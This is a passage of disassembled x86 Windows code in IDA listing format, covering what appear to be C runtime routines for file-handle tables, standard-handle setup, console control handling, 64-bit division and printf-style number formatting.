loc_40ABE9 ; --------------------------------------------------------------------------- loc_40ABD3: ; CODE XREF: sub_40AA00+1C5j ; sub_40AA00+1CDj call sub_408730 mov dword ptr [eax], 1Ch or eax, 0FFFFFFFFh jmp short loc_40ABE9 ; --------------------------------------------------------------------------- loc_40ABE3: ; CODE XREF: sub_40AA00+181j mov eax, [ebp+var_C] sub eax, [ebp+var_4] loc_40ABE9: ; CODE XREF: sub_40AA00+22j ; sub_40AA00+1A9j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40AA00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ABF0 proc near ; CODE XREF: sub_409030+79p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+arg_0] cmp ebx, dword_413A8C jnb short loc_40AC1B mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_40AC2B loc_40AC1B: ; CODE XREF: sub_40ABF0+Ej call sub_408730 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_40AC4E ; --------------------------------------------------------------------------- loc_40AC2B: ; CODE XREF: sub_40ABF0+29j push ebx call sub_40B010 pop ecx mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_4] push eax push ebx call sub_40AA00 add esp, 0Ch mov esi, eax push ebx call sub_40B070 pop ecx mov eax, esi loc_40AC4E: ; CODE XREF: sub_40ABF0+39j pop esi pop ebx pop ebp retn sub_40ABF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC60 proc near ; CODE XREF: DMN0:loc_40AFBAp ; sub_40BC70:loc_40BE6Dp var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi or edi, 0FFFFFFFFh push 4 call sub_408AD0 pop ecx xor esi, esi loc_40AC76: ; CODE XREF: sub_40AC60+128j cmp dword_41398C[esi*4], 0 jz loc_40AD2D mov ebx, dword_41398C[esi*4] jmp loc_40AD12 ; --------------------------------------------------------------------------- loc_40AC90: ; CODE XREF: sub_40AC60+C0j test byte ptr [ebx+4], 1 jnz short loc_40AD0F cmp dword ptr [ebx+8], 0 jnz short loc_40ACBF push 3 call sub_408AD0 pop ecx cmp dword ptr [ebx+8], 0 jnz short loc_40ACB7 lea eax, [ebx+0Ch] push eax call dword_411CCC ; InitializeCriticalSection inc dword ptr [ebx+8] loc_40ACB7: ; CODE XREF: sub_40AC60+48j push 3 call sub_408B50 pop ecx loc_40ACBF: ; CODE XREF: sub_40AC60+3Aj lea eax, [ebx+0Ch] push eax call dword_411CD0 ; RtlEnterCriticalSection test byte ptr [ebx+4], 1 jz short loc_40ACDB lea eax, [ebx+0Ch] push eax call dword_411CD4 ; RtlLeaveCriticalSection jmp short loc_40AD0F ; --------------------------------------------------------------------------- loc_40ACDB: ; CODE XREF: sub_40AC60+6Dj mov dword ptr [ebx], 0FFFFFFFFh mov eax, esi shl eax, 5 mov [ebp+var_4], eax mov edx, dword_41398C[esi*4] mov ecx, ebx sub ecx, edx mov eax, ecx push eax mov edx, 38E38E39h imul edx pop eax shr eax, 1Fh sar edx, 3 add eax, edx mov edx, [ebp+var_4] lea edi, [eax+edx] jmp short loc_40AD26 ; --------------------------------------------------------------------------- loc_40AD0F: ; CODE XREF: sub_40AC60+34j ; sub_40AC60+79j add ebx, 24h loc_40AD12: ; CODE XREF: sub_40AC60+2Bj mov eax, dword_41398C[esi*4] add eax, 480h cmp ebx, eax jb loc_40AC90 loc_40AD26: ; CODE XREF: sub_40AC60+ADj cmp edi, 0FFFFFFFFh jz short loc_40AD84 jmp short loc_40AD8E ; --------------------------------------------------------------------------- loc_40AD2D: ; CODE XREF: sub_40AC60+1Ej push 480h call sub_408530 pop ecx mov ebx, eax test eax, eax jz short loc_40AD8E mov dword_41398C[esi*4], ebx add dword_413A8C, 20h jmp short loc_40AD66 ; --------------------------------------------------------------------------- loc_40AD4E: ; CODE XREF: sub_40AC60+114j mov byte ptr [ebx+4], 0 mov dword ptr [ebx], 0FFFFFFFFh mov byte ptr [ebx+5], 0Ah mov dword ptr [ebx+8], 0 add ebx, 24h loc_40AD66: ; CODE XREF: sub_40AC60+ECj mov eax, dword_41398C[esi*4] add eax, 480h cmp ebx, eax jb short loc_40AD4E mov edi, esi shl edi, 5 push edi call sub_40B010 pop ecx jmp short loc_40AD8E ; --------------------------------------------------------------------------- loc_40AD84: ; CODE XREF: sub_40AC60+C9j inc esi cmp esi, 40h jl loc_40AC76 loc_40AD8E: ; CODE XREF: sub_40AC60+CBj ; sub_40AC60+DCj ... push 4 call sub_408B50 pop ecx mov eax, edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40AC60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40ADA0 proc near ; CODE XREF: sub_409110+5Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp ebx, dword_413A8C jnb loc_40AE2F mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] add eax, edx test byte ptr [eax+4], 1 jz short loc_40AE2F cmp dword ptr [eax], 0FFFFFFFFh jz short loc_40AE2F test ebx, ebx jz short loc_40ADE5 cmp ebx, 1 jz short loc_40ADF4 cmp ebx, 2 jz short loc_40AE03 jmp short loc_40AE10 ; --------------------------------------------------------------------------- loc_40ADE5: ; CODE XREF: sub_40ADA0+37j push 0 push 0FFFFFFF6h call dword_411E10 ; SetStdHandle jmp short loc_40AE10 ; --------------------------------------------------------------------------- loc_40ADF4: ; CODE XREF: sub_40ADA0+3Cj push 0 push 0FFFFFFF5h call dword_411E10 ; SetStdHandle jmp short loc_40AE10 ; --------------------------------------------------------------------------- loc_40AE03: ; CODE XREF: sub_40ADA0+41j push 0 push 0FFFFFFF4h call dword_411E10 ; SetStdHandle loc_40AE10: ; CODE XREF: sub_40ADA0+43j ; sub_40ADA0+52j ... mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] mov dword ptr [edx+eax], 0FFFFFFFFh xor eax, eax jmp short loc_40AE3D ; --------------------------------------------------------------------------- loc_40AE2F: ; CODE XREF: sub_40ADA0+Bj ; sub_40ADA0+2Bj ... call sub_408730 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_40AE3D: ; CODE XREF: sub_40ADA0+8Dj pop ebx retn sub_40ADA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40AE40 proc near ; CODE XREF: DMN0:0040AFDCp ; sub_40BC70+2B4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, dword_413A8C jnb loc_40AED1 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] cmp dword ptr [edx+eax], 0FFFFFFFFh jnz short loc_40AED1 test ebx, ebx jz short loc_40AE7E cmp ebx, 1 jz short loc_40AE90 cmp ebx, 2 jz short loc_40AEA2 jmp short loc_40AEB2 ; --------------------------------------------------------------------------- loc_40AE7E: ; CODE XREF: sub_40AE40+30j mov eax, [esp+4+arg_4] push eax push 0FFFFFFF6h call dword_411E10 ; SetStdHandle jmp short loc_40AEB2 ; --------------------------------------------------------------------------- loc_40AE90: ; CODE XREF: sub_40AE40+35j mov eax, [esp+4+arg_4] push eax push 0FFFFFFF5h call dword_411E10 ; SetStdHandle jmp short loc_40AEB2 ; --------------------------------------------------------------------------- loc_40AEA2: ; CODE XREF: sub_40AE40+3Aj mov eax, [esp+4+arg_4] push eax push 0FFFFFFF4h call dword_411E10 ; SetStdHandle loc_40AEB2: ; CODE XREF: sub_40AE40+3Cj ; sub_40AE40+4Ej ... mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] mov ecx, [esp+4+arg_4] mov [edx+eax], ecx xor eax, eax jmp short loc_40AEDF ; --------------------------------------------------------------------------- loc_40AED1: ; CODE XREF: sub_40AE40+Bj ; sub_40AE40+2Cj call sub_408730 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_40AEDF: ; CODE XREF: sub_40AE40+8Fj pop ebx retn sub_40AE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40AEF0 proc near ; CODE XREF: sub_409110+Cp ; sub_409110+25p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp ebx, dword_413A8C jnb short loc_40AF31 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] test byte ptr [edx+eax+4], 1 jz short loc_40AF31 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] mov eax, [edx+eax] jmp short loc_40AF3F ; --------------------------------------------------------------------------- loc_40AF31: ; CODE XREF: sub_40AEF0+Bj ; sub_40AEF0+26j call sub_408730 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_40AF3F: ; CODE XREF: sub_40AEF0+3Fj pop ebx retn sub_40AEF0 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+4] push eax call sub_40AEF0 pop ecx retn ; --------------------------------------------------------------------------- align 10h push ebx push esi push edi xor bl, bl test byte ptr [esp+14h], 8 jz short loc_40AF6F or bl, 20h loc_40AF6F: ; CODE XREF: DMN0:0040AF6Aj test word ptr [esp+14h], 4000h jz short loc_40AF7B or bl, 80h loc_40AF7B: ; CODE XREF: DMN0:0040AF76j test byte ptr [esp+14h], 80h jz short loc_40AF85 or bl, 10h loc_40AF85: ; CODE XREF: DMN0:0040AF80j mov eax, [esp+10h] push eax call dword_411DF0 ; GetFileType mov edi, eax test edi, edi jnz short loc_40AFA8 call dword_411CEC ; RtlGetLastWin32Error push eax call sub_4085D0 pop ecx or eax, 0FFFFFFFFh jmp short loc_40B001 ; --------------------------------------------------------------------------- loc_40AFA8: ; CODE XREF: DMN0:0040AF94j cmp edi, 2 jnz short loc_40AFB2 or bl, 40h jmp short loc_40AFBA ; --------------------------------------------------------------------------- loc_40AFB2: ; CODE XREF: DMN0:0040AFABj cmp edi, 3 jnz short loc_40AFBA or bl, 8 loc_40AFBA: ; CODE XREF: DMN0:0040AFB0j ; DMN0:0040AFB5j call sub_40AC60 mov esi, eax cmp eax, 0FFFFFFFFh jnz short loc_40AFD6 call sub_408730 mov dword ptr [eax], 18h or eax, 0FFFFFFFFh jmp short loc_40B001 ; --------------------------------------------------------------------------- loc_40AFD6: ; CODE XREF: DMN0:0040AFC4j mov eax, [esp+10h] push eax push esi call sub_40AE40 add esp, 8 or bl, 1 mov eax, esi and eax, 1Fh imul eax, 24h mov edx, esi sar edx, 5 mov edx, dword_41398C[edx*4] mov [edx+eax+4], bl mov eax, esi loc_40B001: ; CODE XREF: DMN0:0040AFA6j ; DMN0:0040AFD4j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40B010 proc near ; CODE XREF: sub_4091B0+3Ap ; sub_40ABF0+3Cp ... arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] lea esi, [edx+eax] cmp dword ptr [esi+8], 0 jnz short loc_40B056 push 3 call sub_408AD0 pop ecx cmp dword ptr [esi+8], 0 jnz short loc_40B04E lea eax, [esi+0Ch] push eax call dword_411CCC ; InitializeCriticalSection inc dword ptr [esi+8] loc_40B04E: ; CODE XREF: sub_40B010+2Fj push 3 call sub_408B50 pop ecx loc_40B056: ; CODE XREF: sub_40B010+21j lea eax, [esi+0Ch] push eax call dword_411CD0 ; RtlEnterCriticalSection pop esi pop ebx retn sub_40B010 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40B070 proc near ; CODE XREF: sub_4091B0+4Ap ; sub_40ABF0+56p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] lea eax, [edx+eax+0Ch] push eax call dword_411CD4 ; RtlLeaveCriticalSection pop ebx retn sub_40B070 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40B0A0 proc near ; DATA XREF: sub_40B0E0+A4o ; sub_44C54B+A4o push ebx push 1 push 2 call sub_40B0E0 add esp, 8 mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40B0BB test ebx, ebx jnz short loc_40B0BF loc_40B0BB: ; CODE XREF: sub_40B0A0+15j xor eax, eax jmp short loc_40B0DA ; --------------------------------------------------------------------------- loc_40B0BF: ; CODE XREF: sub_40B0A0+19j cmp ebx, 1 jz short loc_40B0D5 push 0 push 2 call sub_40B0E0 add esp, 8 push 2 call ebx pop ecx loc_40B0D5: ; CODE XREF: sub_40B0A0+22j mov eax, 1 loc_40B0DA: ; CODE XREF: sub_40B0A0+1Dj pop ebx retn 4 sub_40B0A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B0E0 proc near ; CODE XREF: sub_409530+18p ; sub_409530+3Bp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] test ebx, ebx jle short loc_40B0FE cmp ebx, 2Ch jge short loc_40B0FE cmp [ebp+arg_4], 0FFFFFFFFh jnz short loc_40B106 loc_40B0FE: ; CODE XREF: sub_40B0E0+Ej ; sub_40B0E0+13j or eax, 0FFFFFFFFh jmp loc_40B1B6 ; --------------------------------------------------------------------------- loc_40B106: ; CODE XREF: sub_40B0E0+1Cj cmp ebx, 4 jz short loc_40B115 cmp ebx, 8 jz short loc_40B115 cmp ebx, 0Bh jnz short loc_40B174 loc_40B115: ; CODE XREF: sub_40B0E0+29j ; sub_40B0E0+2Ej call sub_409420 mov [ebp+var_8], eax mov eax, [eax+34h] cmp eax, offset dword_4117E8 jnz short loc_40B155 push 0B0h call sub_408530 pop ecx mov edx, [ebp+var_8] mov [edx+34h], eax test eax, eax jz short loc_40B150 mov eax, [ebp+var_8] mov edi, [eax+34h] mov esi, offset dword_4117E8 mov ecx, 2Ch rep movsd jmp short loc_40B155 ; --------------------------------------------------------------------------- loc_40B150: ; CODE XREF: sub_40B0E0+5Aj or eax, 0FFFFFFFFh jmp short loc_40B1B6 ; --------------------------------------------------------------------------- loc_40B155: ; CODE XREF: sub_40B0E0+45j ; sub_40B0E0+6Ej mov eax, ebx shl eax, 2 mov edx, [ebp+var_8] mov ecx, [edx+34h] mov ecx, [ecx+eax] mov [ebp+var_4], ecx mov edx, [edx+34h] mov ecx, [ebp+arg_4] mov [edx+eax], ecx mov eax, [ebp+var_4] jmp short loc_40B1B6 ; --------------------------------------------------------------------------- loc_40B174: ; CODE XREF: sub_40B0E0+33j cmp ebx, 2 jnz short loc_40B1A2 cmp dword_4118A0, 0 jnz short loc_40B1A2 push 1 push offset sub_40B0A0 call dword_411E14 ; SetConsoleCtrlHandler test eax, eax jnz short loc_40B198 or eax, 0FFFFFFFFh jmp short loc_40B1B6 ; --------------------------------------------------------------------------- loc_40B198: ; CODE XREF: sub_40B0E0+B1j mov dword_4118A0, 1 loc_40B1A2: ; CODE XREF: sub_40B0E0+97j ; sub_40B0E0+A0j lea eax, ds:4117E8h[ebx*4] mov edx, [eax] mov [ebp+var_4], edx mov edx, [ebp+arg_4] mov [eax], edx mov eax, [ebp+var_4] loc_40B1B6: ; CODE XREF: sub_40B0E0+21j ; sub_40B0E0+73j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40B0E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40B1C0 proc near ; CODE XREF: sub_407E30+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_40B1C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40B1D0 proc near ; CODE XREF: DMN0:0040961Cp ; sub_40B390+F3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_4] or eax, eax jnz short loc_40B1F2 mov ecx, [esp+8+arg_0] mov eax, [esp+8+arg_C] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_8] div ecx mov edx, ebx jmp short loc_40B233 ; --------------------------------------------------------------------------- loc_40B1F2: ; CODE XREF: sub_40B1D0+8j mov ecx, eax mov ebx, [esp+8+arg_0] mov edx, [esp+8+arg_C] mov eax, [esp+8+arg_8] loc_40B200: ; CODE XREF: sub_40B1D0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_40B200 div ebx mov esi, eax mul [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] mul esi add edx, ecx jb short loc_40B22E cmp edx, [esp+8+arg_C] ja short loc_40B22E jb short loc_40B22F cmp eax, [esp+8+arg_8] jbe short loc_40B22F loc_40B22E: ; CODE XREF: sub_40B1D0+4Ej ; sub_40B1D0+54j dec esi loc_40B22F: ; CODE XREF: sub_40B1D0+56j ; sub_40B1D0+5Cj xor edx, edx mov eax, esi loc_40B233: ; CODE XREF: sub_40B1D0+20j pop esi pop ebx retn 10h sub_40B1D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B240 proc near ; CODE XREF: sub_409FC0+B3p ; sub_409FC0+6E1p var_64 = dword ptr -64h var_60 = byte ptr -60h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] cmp dword ptr [ebx+2Ch], 0 jge short loc_40B25E mov [ebp+var_64], 7FFFFFFFh jmp short loc_40B264 ; --------------------------------------------------------------------------- loc_40B25E: ; CODE XREF: sub_40B240+13j mov eax, [ebx+2Ch] mov [ebp+var_64], eax loc_40B264: ; CODE XREF: sub_40B240+1Cj mov eax, [ebp+var_64] mov [ebp+var_4], eax movzx eax, byte_4118A4 mov edx, [ebx+34h] add eax, edx mov [ebp+var_14], eax mov [ebp+var_1C], 0 mov [ebp+var_18], 0 test word ptr [ebx+38h], 4 jnz short loc_40B295 cmp [ebp+var_14], 40h ja short loc_40B2A4 loc_40B295: ; CODE XREF: sub_40B240+4Dj lea eax, [ebp+var_60] mov [ebp+var_10], eax mov [ebp+var_14], 40h jmp short loc_40B2BD ; --------------------------------------------------------------------------- loc_40B2A4: ; CODE XREF: sub_40B240+53j mov eax, [ebp+var_14] push eax call sub_408530 pop ecx mov [ebp+var_10], eax test eax, eax jnz short loc_40B2BD or eax, 0FFFFFFFFh jmp loc_40B385 ; --------------------------------------------------------------------------- loc_40B2BD: ; CODE XREF: sub_40B240+62j ; sub_40B240+73j test esi, esi jnz short loc_40B2C6 mov esi, offset aNull ; "(null)" loc_40B2C6: ; CODE XREF: sub_40B240+7Fj mov [ebp+var_20], 0 jmp short loc_40B34B ; --------------------------------------------------------------------------- loc_40B2CF: ; CODE XREF: sub_40B240+10Fj lea eax, [ebp+var_1C] push eax movzx eax, word ptr [esi] push eax lea eax, [ebp+var_C] push eax call sub_40C270 add esp, 0Ch mov edi, eax test eax, eax jl short loc_40B2F6 cmp word ptr [esi], 0 jnz short loc_40B2FC dec edi mov eax, edi test eax, eax jge short loc_40B2FC loc_40B2F6: ; CODE XREF: sub_40B240+A7j or [ebp+var_20], 0FFFFFFFFh jmp short loc_40B355 ; --------------------------------------------------------------------------- loc_40B2FC: ; CODE XREF: sub_40B240+ADj ; sub_40B240+B4j cmp [ebp+var_4], edi jl short loc_40B355 mov eax, [ebx+14h] add eax, edi cmp [ebp+var_14], eax jnb short loc_40B326 mov dword ptr [ebx+34h], 0 mov eax, [ebp+var_10] push eax push ebx call sub_40A700 add esp, 8 mov dword ptr [ebx+14h], 0 loc_40B326: ; CODE XREF: sub_40B240+C9j push edi lea eax, [ebp+var_C] push eax mov eax, [ebx+14h] mov edx, [ebp+var_10] add eax, edx push eax call sub_4079C0 add esp, 0Ch add [ebx+14h], edi cmp word ptr [esi], 0 jz short loc_40B355 add esi, 2 sub [ebp+var_4], edi loc_40B34B: ; CODE XREF: sub_40B240+8Dj cmp [ebp+var_4], 0 jg loc_40B2CF loc_40B355: ; CODE XREF: sub_40B240+BAj ; sub_40B240+BFj ... mov eax, [ebp+var_10] push eax push ebx call sub_40A700 add esp, 8 mov dword ptr [ebx+34h], 0 mov dword ptr [ebx+14h], 0 lea eax, [ebp+var_60] cmp eax, [ebp+var_10] jz short loc_40B382 mov eax, [ebp+var_10] push eax call sub_407480 pop ecx loc_40B382: ; CODE XREF: sub_40B240+136j mov eax, [ebp+var_20] loc_40B385: ; CODE XREF: sub_40B240+78j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40B240 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B390 proc near ; CODE XREF: sub_409FC0+256p ; sub_409FC0+3CAp ... var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = byte ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi cmp [ebp+arg_4], 58h jnz short loc_40B3A8 mov [ebp+var_34], offset a0123456789abcd ; "0123456789ABCDEF" jmp short loc_40B3AF ; --------------------------------------------------------------------------- loc_40B3A8: ; CODE XREF: sub_40B390+Dj mov [ebp+var_34], offset a0123456789ab_0 ; "0123456789abcdef" loc_40B3AF: ; CODE XREF: sub_40B390+16j mov eax, [ebp+var_34] mov [ebp+var_24], eax cmp [ebp+arg_4], 6Fh jnz short loc_40B3C4 mov [ebp+var_38], 8 jmp short loc_40B3DF ; --------------------------------------------------------------------------- loc_40B3C4: ; CODE XREF: sub_40B390+29j mov al, [ebp+arg_4] cmp al, 78h jz short loc_40B3D8 cmp al, 58h jz short loc_40B3D8 mov [ebp+var_38], 0Ah jmp short loc_40B3DF ; --------------------------------------------------------------------------- loc_40B3D8: ; CODE XREF: sub_40B390+39j ; sub_40B390+3Dj mov [ebp+var_38], 10h loc_40B3DF: ; CODE XREF: sub_40B390+32j ; sub_40B390+46j mov eax, [ebp+var_38] mov [ebp+var_8], eax mov [ebp+var_4], 18h mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] mov [ebp+var_30], eax mov [ebp+var_2C], edx mov al, [ebp+arg_4] cmp al, 64h jz short loc_40B405 cmp al, 69h jnz short loc_40B42A loc_40B405: ; CODE XREF: sub_40B390+6Fj mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] test edx, edx jg short loc_40B42A jl short loc_40B417 test eax, eax jnb short loc_40B42A loc_40B417: ; CODE XREF: sub_40B390+81j mov eax, [ebp+var_30] mov edx, [ebp+var_2C] neg eax adc edx, 0 neg edx mov [ebp+var_30], eax mov [ebp+var_2C], edx loc_40B42A: ; CODE XREF: sub_40B390+73j ; sub_40B390+7Fj ... mov eax, [ebp+var_30] mov edx, [ebp+var_2C] test edx, edx jnz short loc_40B441 test eax, eax jnz short loc_40B441 mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jz short loc_40B471 loc_40B441: ; CODE XREF: sub_40B390+A2j ; sub_40B390+A6j mov eax, [ebp+var_4] dec eax mov [ebp+var_3C], eax mov [ebp+var_4], eax mov ecx, [ebp+var_30] mov ebx, [ebp+var_2C] mov edx, [ebp+var_8] mov esi, edx mov edi, esi sar edi, 1Fh push ebx push ecx push edi push esi call sub_40C4C0 mov edx, [ebp+var_24] mov al, [edx+eax] mov edx, [ebp+var_3C] mov [ebp+edx+var_20], al loc_40B471: ; CODE XREF: sub_40B390+AFj mov eax, [ebp+var_30] mov edx, [ebp+var_2C] mov ecx, [ebp+var_8] mov ebx, ecx sar ebx, 1Fh push edx push eax push ebx push ecx call sub_40B1D0 mov ecx, [ebp+arg_0] mov [ecx], eax mov [ecx+4], edx jmp short loc_40B502 ; --------------------------------------------------------------------------- loc_40B492: ; CODE XREF: sub_40B390+188j mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] mov ecx, [ebp+var_8] mov ebx, ecx sar ebx, 1Fh push edx push eax push ebx push ecx call sub_40C540 mov [ebp+var_48], eax mov [ebp+var_44], edx mov eax, [ebp+var_4] dec eax mov [ebp+var_4C], eax mov [ebp+var_4], eax mov edx, [ebp+var_8] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov esi, [ebp+var_48] mov edi, [ebp+var_44] push ebx push ecx push edi push esi call sub_40C5F0 neg eax adc edx, 0 neg edx mov ecx, [ebp+arg_0] mov ebx, [ecx+4] mov ecx, [ecx] add eax, ecx adc edx, ebx mov edx, [ebp+var_24] mov al, [edx+eax] mov edx, [ebp+var_4C] mov [ebp+edx+var_20], al mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov ebx, [ebp+var_44] mov [eax], ecx mov [eax+4], ebx loc_40B502: ; CODE XREF: sub_40B390+100j mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] test edx, edx jl short loc_40B51E jg short loc_40B514 test eax, eax jbe short loc_40B51E loc_40B514: ; CODE XREF: sub_40B390+17Ej cmp [ebp+var_4], 0 jg loc_40B492 loc_40B51E: ; CODE XREF: sub_40B390+17Cj ; sub_40B390+182j cmp [ebp+var_8], 8 jnz short loc_40B54A mov eax, [ebp+arg_0] test word ptr [eax+38h], 8 jz short loc_40B54A mov eax, [ebp+var_4] cmp eax, 18h jnb short loc_40B54A cmp [ebp+eax+var_20], 30h jz short loc_40B54A mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov [ebp+eax+var_20], 30h loc_40B54A: ; CODE XREF: sub_40B390+192j ; sub_40B390+19Dj ... mov edx, [ebp+arg_0] mov eax, 18h mov ecx, [ebp+var_4] sub eax, ecx mov [edx+1Ch], eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] push edx mov edx, [ebp+var_4] lea edx, [ebp+edx+var_20] push edx mov eax, [eax+10h] push eax call sub_4079C0 add esp, 0Ch mov eax, [ebp+arg_0] mov edx, [eax+2Ch] cmp [eax+1Ch], edx jge short loc_40B596 mov eax, [ebp+arg_0] mov edx, [eax+2Ch] sub edx, [eax+1Ch] mov [eax+18h], edx mov eax, [ebp+arg_0] and word ptr [eax+38h], 0FFEFh jmp short loc_40B5C7 ; --------------------------------------------------------------------------- loc_40B596: ; CODE XREF: sub_40B390+1EEj mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge short loc_40B5C7 movzx edx, word ptr [eax+38h] and edx, 14h cmp edx, 10h jnz short loc_40B5C7 mov edx, [eax+34h] sub edx, [eax+14h] sub edx, [eax+18h] sub edx, [eax+1Ch] mov [ebp+var_4], edx test edx, edx jle short loc_40B5C7 mov edx, [ebp+arg_0] mov eax, [ebp+var_4] mov [edx+18h], eax loc_40B5C7: ; CODE XREF: sub_40B390+204j ; sub_40B390+20Dj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40B390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40B5D0 proc near ; CODE XREF: sub_409FC0+40Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40C630 pop ecx movsx eax, ax retn sub_40B5D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B5E0 proc near ; CODE XREF: sub_409FC0+48Cp var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = qword ptr -58h var_50 = qword ptr -50h var_48 = dword ptr -48h var_44 = dword ptr -44h var_3E = byte ptr -3Eh var_3D = byte ptr -3Dh var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = qword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 64h lea eax, [ebp+var_3E] mov [ebp+var_4], eax mov eax, [ebp+arg_0] fld qword ptr [eax] fstp [ebp+var_10] mov al, [ebp+arg_4] cmp al, 61h jz short loc_40B5FF cmp al, 41h jnz short loc_40B601 loc_40B5FF: ; CODE XREF: sub_40B5E0+19j jmp short loc_40B634 ; --------------------------------------------------------------------------- loc_40B601: ; CODE XREF: sub_40B5E0+1Dj mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge short loc_40B616 mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 6 jmp short loc_40B634 ; --------------------------------------------------------------------------- loc_40B616: ; CODE XREF: sub_40B5E0+28j mov eax, [ebp+arg_0] cmp dword ptr 